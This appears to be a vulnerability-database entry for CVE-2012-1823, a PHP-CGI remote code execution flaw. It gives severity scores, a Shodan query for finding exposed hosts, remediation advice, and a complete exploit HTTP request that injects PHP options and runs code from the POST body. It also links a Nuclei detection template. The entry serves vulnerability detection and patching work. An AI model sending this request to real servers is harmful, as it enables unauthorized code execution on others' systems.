| Title | PHP CGI v5.3.12/5.4.2 Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Remote code execution |
| Remediation | Upgrade to a patched version of PHP or apply the necessary security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94386 |
| CVE ID | CVE-2012-1823 |
| CWE ID | CWE-20 |
| Shodan Query | cpe:"cpe:2.3:a:php:php" |
| Tags | cve cve2012 kev vulhub rce php vkev vuln |
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the ‘d’ case.
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
<?php echo md5("CVE-2012-1823");?>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-1823.yaml
🦈 Packet Capture: ⬇️ Download cve-2012-1823.pcap
N/AN/A